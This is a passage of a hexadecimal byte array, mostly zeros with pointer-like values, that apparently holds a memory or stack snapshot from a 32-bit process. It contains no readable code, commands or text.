    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xED, 0x15, 0x05, 0x28, 0xBB, 0xF4, 
    0x08, 0x28, 0xBB, 0xF4, 0x08, 0x28, 0x00, 0x00, 0x00, 0x00, 0x7D, 0x15, 
    0x05, 0x28, 0x00, 0x00, 0x00, 0x00, 0x20, 0x0B, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x01, 0x18, 0xF0, 0x06, 0x28, 0x30, 0x70, 0x07, 0x28, 0x00, 0x00, 
    0x00, 0x00, 0x74, 0xE2, 0xBF, 0xBF, 0xFC, 0x16, 0x05, 0x28, 0xBB, 0xF4, 
    0x08, 0x28, 0x8B, 0x69, 0x00, 0x00, 0x00, 0x62, 0x07, 0x28, 0x01, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x0B, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x01, 0x00, 0x62, 0x07, 0x28, 0x30, 0x70, 0x07, 0x01, 0x8B, 0x69, 
    0x00, 0x00, 0xBB, 0xF4, 0x08, 0x28, 0x18, 0xF0, 0x06, 0x28, 0xB0, 0xA8, 
    0x08, 0x28, 0x00, 0x00, 0x00, 0x00, 0xF4, 0xE2, 0xBF, 0xBF, 0xCB, 0x17, 
    0x05, 0x28, 0x08, 0xD0, 0x06, 0x28, 0xC8, 0xE2, 0xBF, 0xBF, 0x01, 0x00, 
    0x00, 0x00, 0xCC, 0xE2, 0xBF, 0xBF, 0xCB, 0xD9, 0x08, 0x28, 0x00, 0x60, 
    0x07, 0x28, 0x00, 0x62, 0x07, 0x28, 0xED, 0x15, 0x05, 0x28, 0x1D, 0xEA, 
    0x08, 0x28, 0x1D, 0xEA, 0x08, 0x28, 0x24, 0xE3, 0xBF, 0x01, 0x7D, 0x15, 
    0x05, 0x28, 0x30, 0x70, 0x07, 0x28, 0x20, 0x0B, 0x00, 0x00, 0xF4, 0xE2, 
    0xBF, 0x01, 0x18, 0xF0, 0x06, 0x28, 0x30, 0x70, 0x07, 0x28, 0x00, 0x00, 
    0x00, 0x00, 0x04, 0xE3, 0xBF, 0xBF, 0xFC, 0x16, 0x05, 0x28, 0x1D, 0xEA, 
    0x08, 0x28, 0xA5, 0x90, 0x6E, 0x06, 0x00, 0x62, 0x07, 0x28, 0xED, 0x15, 
    0x05, 0x28, 0x1D, 0xEA, 0x08, 0x28, 0xE1, 0xDF, 0x04, 0x28, 0xCB, 0xD9, 
    0x08, 0x28, 0x7D, 0x15, 0x05, 0x28, 0xB0, 0xA8, 0x08, 0x01, 0xEE, 0x01, 
    0x00, 0x00, 0x1D, 0xEA, 0x08, 0x01, 0x18, 0xF0, 0x06, 0x28, 0x00, 0x00, 
    0x00, 0x00, 0xB0, 0x9F, 0x08, 0x28, 0x84, 0xE3, 0xBF, 0xBF, 0x36, 0x19, 
    0x05, 0x28, 0x1D, 0xEA, 0x08, 0x28, 0xA5, 0x90, 0x6E, 0x06, 0xA0, 0xF3, 
    0x06, 0x28, 0x01, 0x00, 0x00, 0x00, 0x30, 0x70, 0x07, 0x28, 0x00, 0x60, 
    0x07, 0x28, 0x00, 0x62, 0x07, 0x28, 0xFC, 0x16, 0x05, 0x28, 0x65, 0xCB, 
    0x08, 0x28, 0xC5, 0x90, 0xAE, 0x06, 0x00, 0x62, 0x07, 0x28, 0x52, 0x17, 
    0x05, 0x28, 0x00, 0x00, 0x00, 0x00, 0x20, 0x0B, 0x00, 0x00, 0xA0, 0xF3, 
    0x06, 0x28, 0x00, 0x62, 0x07, 0x28, 0x30, 0x70, 0x07, 0x01, 0xA5, 0x90, 
    0x6E, 0x06, 0x1D, 0xEA, 0x08, 0x28, 0x00, 0x62, 0x07, 0x28, 0x20, 0xE3, 
    0xBF, 0xBF, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0xCB, 0x17, 
    0x05, 0x28, 0x08, 0xD0, 0x06, 0x28, 0xB8, 0xE3, 0xBF, 0xBF, 0x01, 0x00, 
    0x00, 0x00, 0x18, 0xF0, 0x06, 0x28, 0xB0, 0x9F, 0x08, 0x28, 0x01, 0x00, 
    0x00, 0x00, 0xB4, 0xE3, 0xBF, 0xBF, 0x4B, 0x1A, 0x05, 0x28, 0x00, 0x62, 
    0x07, 0x28, 0xA4, 0xE3, 0xBF, 0xBF, 0x01, 0x00, 0x00, 0x00, 0x2F, 0x3C, 
    0x05, 0x28, 0x01, 0x00, 0x00, 0x00, 0x18, 0xF0, 0x06, 0x28, 0xC4, 0xE3, 
    0xBF, 0xBF, 0x85, 0x3D, 0x05, 0x28, 0x00, 0xA0, 0x07, 0x28, 0x64, 0xC5, 
    0x14, 0x28, 0xF4, 0xE3, 0xBF, 0xBF, 0x59, 0x3D, 0x05, 0x28, 0x18, 0xF0, 
    0x06, 0x28, 0x3C, 0xBA, 0x13, 0x28, 0xF4, 0xE3, 0xBF, 0xBF, 0x89, 0x1B, 
    0x05, 0x28, 0x2A, 0xB3, 0x13, 0x28, 0x01, 0x00, 0x00, 0x00, 0x00, 0xD0, 
    0x04, 0x08, 0x1B, 0x00, 0x00, 0x00, 0x50, 0xBA, 0x08, 0x28, 0x01, 0x00, 
    0x00, 0x00, 0xA0, 0xB8, 0x14, 0x28, 0x28, 0xE4, 0xBF, 0xBF, 0xD1, 0xB5, 
    0x13, 0x28, 0x38, 0xB6, 0x14, 0x28, 0x00, 0xD0, 0x04, 0x08, 0x1B, 0x00, 
    0x00, 0x00, 0x2A, 0xB3, 0x13, 0x28, 0x01, 0x00, 0x00, 0x00, 0x00, 0xD0, 
    0x04, 0x08, 0x1B, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x16, 0x02, 
    0x00, 0x00, 0xA0, 0xB8, 0x14, 0x28, 0x58, 0xE4, 0xBF, 0xBF, 0xD1, 0xB5, 
    0x13, 0x28, 0x38, 0xB6, 0x14, 0x28, 0x00, 0xD0, 0x04, 0x08, 0x1B, 0x00, 
    0x00, 0x00, 0x1B, 0x00, 0x00, 0x00, 0x38, 0xB6, 0x14, 0x28, 0x00, 0xD0, 
    0x04, 0x08, 0x1B, 0x00, 0x00, 0x00, 0x38, 0xB6, 0x14, 0x28, 0x38, 0xB6, 
    0x14, 0x28, 0x00, 0xD0, 0x04, 0x08, 0x01, 0x00, 0x00, 0x00, 0xA0, 0xB8, 
    0x14, 0x28, 0x1B, 0x00, 0x00, 0x00, 0x00, 0xD0, 0x04, 0x08, 0x88, 0xE4, 
    0xBF, 0xBF, 0xCB, 0xA0, 0x13, 0x28, 0x38, 0xB6, 0x14, 0x28, 0x00, 0xD0, 
    0x04, 0x08, 0x1B, 0x00, 0x00, 0x00, 0x38, 0xB6, 0x14, 0x28, 0x01, 0x00, 
    0x00, 0x00, 0xA0, 0xB8, 0x14, 0x28, 0xB8, 0xE4, 0xBF, 0xBF, 0xA0, 0xB8, 
    0x14, 0x28, 0x38, 0xEB, 0xBF, 0xBF, 0x01, 0x00, 0x00, 0x00, 0xA8, 0xE4, 
    0xBF, 0xBF, 0x39, 0xA1, 0x13, 0x28, 0x38, 0xB6, 0x14, 0x28, 0x00, 0x00, 
    0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0xA1, 0x13, 0x28, 0x01, 0x00, 
    0x00, 0x00, 0xA0, 0xB8, 0x14, 0x28, 0xE8, 0xE4, 0xBF, 0xBF, 0x3D, 0x93, 
    0x13, 0x28, 0x38, 0xB6, 0x14, 0x28, 0xAC, 0x9D, 0x04, 0x08, 0x01, 0x00, 
    0x00, 0x00, 0x38, 0xB6, 0x14, 0x28, 0x38, 0xB6, 0x14, 0x28, 0x40, 0xEB, 
    0xBF, 0xBF, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0xAD, 0x9D, 0x04, 0x08, 0x00, 0x00, 0x00, 0x00, 0xA0, 0xB8, 
    0x14, 0x28, 0x70, 0xEB, 0xBF, 0xBF, 0x00, 0x00, 0x00, 0x00, 0x08, 0xE5, 
    0xBF, 0xBF, 0x1E, 0xEC, 0x12, 0x28, 0x38, 0xB6, 0x14, 0x28, 0x70, 0xEB, 
    0xBF, 0xBF, 0x5C, 0x62, 0x14, 0x28, 0xF7, 0xEB, 0x12, 0x28, 0xA0, 0xB8, 
    0x14, 0x28, 0x01, 0x00, 0x00, 0x00, 0xA8, 0xEB, 0xBF, 0xBF, 0x13, 0x29, 
    0x13, 0x28, 0xCE, 0xE5, 0xBF, 0xBF, 0x00, 0xEB, 0xBF, 0xBF, 0x6D, 0x62, 
    0x14, 0x28, 0xF7, 0xEB, 0x12, 0x28, 0xA0, 0xB8, 0x14, 0x28, 0x03, 0x00, 
    0x00, 0x00, 0x1A, 0x00, 0x00, 0x00, 0x13, 0x29, 0x13, 0x28, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1B, 0x00, 
    0x00, 0x00, 0xFE, 0xE5, 0xBF, 0xBF, 0x30, 0xEB, 0xBF, 0xBF, 0x02, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xF4, 0xA8, 0x14, 0x28, 0x00, 0x00, 0x00, 0x00, 0x1E, 0xE6, 
    0xBF, 0xBF, 0x39, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1B, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0xEC, 0xBF, 0xBF, 0x02, 0x00, 
    0x00, 0x00, 0x5C, 0x62, 0x14, 0x28, 0x07, 0x00, 0x00, 0x00, 0xFF, 0xFF, 
    0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 
    0x00, 0x00, 0x39, 0x86, 0x04, 0x08, 0x00, 0x00, 0x00, 0x00, 0x08, 0xEB, 
    0xBF, 0xBF, 0x00, 0x00, 0x00, 0x00, 0x6A, 0x9D, 0x04, 0x08, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x2A, 
    0x14, 0x28, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 
    0x00, 0x00, 0x1B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0xEB, 
    0xBF, 0xBF, 0xAC, 0x9D, 0x04, 0x08, 0xAD, 0x9D, 0x04, 0x08, 0x00, 0x00, 
    0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x08, 0x00, 0x00, 0x00, 0x45, 0x00, 
    0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x58, 0xEB, 0xBF, 0xBF, 0xD4, 0x9A, 
    0x04, 0x08, 0xD7, 0x9A, 0x04, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0xD6, 0x49, 0x05, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x80, 0x05, 0x07, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0xF0, 
    0x06, 0x28, 0xE8, 0x00, 0x00, 0x00, 0x20, 0x50, 0x07, 0x28, 0x08, 0xE8, 
    0xBF, 0xBF, 0xF7, 0x4C, 0x05, 0x28, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0xD0, 0x14, 0x28, 0x00, 0x60, 0x01, 0x00, 0x00, 0x62, 
    0x07, 0x28, 0x18, 0xF0, 0x06, 0x28, 0x20, 0x50, 0x07, 0x28, 0x3D, 0x4D, 
    0x05, 0x28, 0x00, 0x62, 0x07, 0x28, 0x00, 0x00, 0x00, 0x00, 0xE8, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0xF0, 0x06, 0x28, 0x01, 0x00, 
    0x00, 0x00, 0x48, 0xE8, 0xBF, 0xBF, 0xE5, 0x41, 0x05, 0x28, 0xE8, 0x00, 
    0x00, 0x00, 0x00, 0x60, 0x01, 0x00, 0x03, 0x00, 0x00, 0x00, 0x12, 0x10, 
    0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x18, 0xF0, 0x06, 0x28, 0xD8, 0xE8, 
    0xBF, 0xBF, 0x41, 0x46, 0x05, 0x28, 0x94, 0xF5, 0x06, 0x28, 0xB4, 0xF5, 
    0x06, 0x28, 0x00, 0x00, 0x00, 0x00, 0x48, 0x42, 0x05, 0x28, 0x03, 0x00, 
    0x00, 0x00, 0x60, 0xF5, 0x06, 0x28, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB4, 0xF5, 
    0x06, 0x28, 0x02, 0x00, 0x00, 0x00, 0x50, 0xE8, 0xBF, 0xBF, 0x60, 0xF5, 
    0x06, 0x28, 0x00, 0xC0, 0x14, 0x28, 0x78, 0xCB, 0x14, 0x28, 0x03, 0x00, 
    0x00, 0x00, 0x00, 0x70, 0x14, 0x28, 0x00, 0x10, 0x0D, 0x00, 0x00, 0xB0, 
    0x0C, 0x00, 0x00, 0xA0, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x70, 0x0E, 0x00, 0x00, 0xC0, 0x07, 0x28, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD4, 0xF5, 
    0x06, 0x28, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0xF3, 0x0E, 
    0x05, 0x28, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF7, 0x01, 
    0x05, 0x28, 0x18, 0xF0, 0x06, 0x28, 0x00, 0x62, 0x07, 0x28, 0x20, 0x50, 
    0x07, 0x28, 0x58, 0xEB, 0xBF, 0xBF, 0x18, 0x13, 0x05, 0x28, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0xEA, 0xBF, 0xBF, 0x03, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xED, 0x15, 0x05, 0x28, 0x90, 0xDE, 
    0x08, 0x28, 0x90, 0xDE, 0x08, 0x28, 0x00, 0x00, 0x00, 0x00, 0x7D, 0x15, 
    0x05, 0x28, 0x00, 0x00, 0x00, 0x00, 0x20, 0x0B, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x01, 0x18, 0xF0, 0x06, 0x28, 0x30, 0x70, 0x07, 0x28, 0x00, 0x00, 
    0x00, 0x00, 0x62, 0x61, 0x0D, 0x28, 0xA0, 0xB8, 0x14, 0x28, 0xDF, 0x55, 
    0x0D, 0x28, 0x00, 0x40, 0x05, 0x08, 0x00, 0x62, 0x07, 0x28, 0x01, 0x00, 
    0x00, 0x00, 0x7A, 0x54, 0x0D, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x62, 0x07, 0x28, 0x01, 0x00, 0x00, 0x00, 0xBB, 0x9B, 
    0x73, 0x00, 0x90, 0xDE, 0x08, 0x28, 0x18, 0xF0, 0x06, 0x28, 0xA0, 0x46, 
    0x08, 0x28, 0x00, 0x30, 0x05, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 
    0x05, 0x08, 0xA0, 0xB8, 0x14, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0xE8, 0xE9, 0xBF, 0xBF, 0xD8, 0x57, 0x0D, 0x28, 0x20, 0x0B, 
    0x00, 0x00, 0x00, 0x62, 0x07, 0x01, 0x18, 0xF0, 0x06, 0x28, 0x30, 0x70, 
    0x07, 0x28, 0x00, 0x00, 0x00, 0x00, 0x04, 0xEA, 0xBF, 0xBF, 0xFC, 0x16, 
    0x05, 0x28, 0x2D, 0xEA, 0x08, 0x28, 0x74, 0x8B, 0x66, 0x00, 0x00, 0x62, 
    0x07, 0x28, 0x00, 0x10, 0x00, 0x00, 0xA0, 0xB8, 0x14, 0x28, 0x50, 0xB2, 
    0x04, 0x08, 0x00, 0x00, 0x00, 0x00, 0xED, 0x15, 0x05, 0x28, 0x9F, 0x1A, 
    0x09, 0x28, 0x9F, 0x1A, 0x09, 0x28, 0x2D, 0xEA, 0x08, 0x01, 0x7D, 0x15, 
    0x05, 0x28, 0x00, 0x00, 0x00, 0x00, 0x20, 0x0B, 0x00, 0x00, 0x84, 0xEA, 
    0xBF, 0x01, 0x18, 0xF0, 0x06, 0x28, 0x30, 0x70, 0x07, 0x28, 0x00, 0x00, 
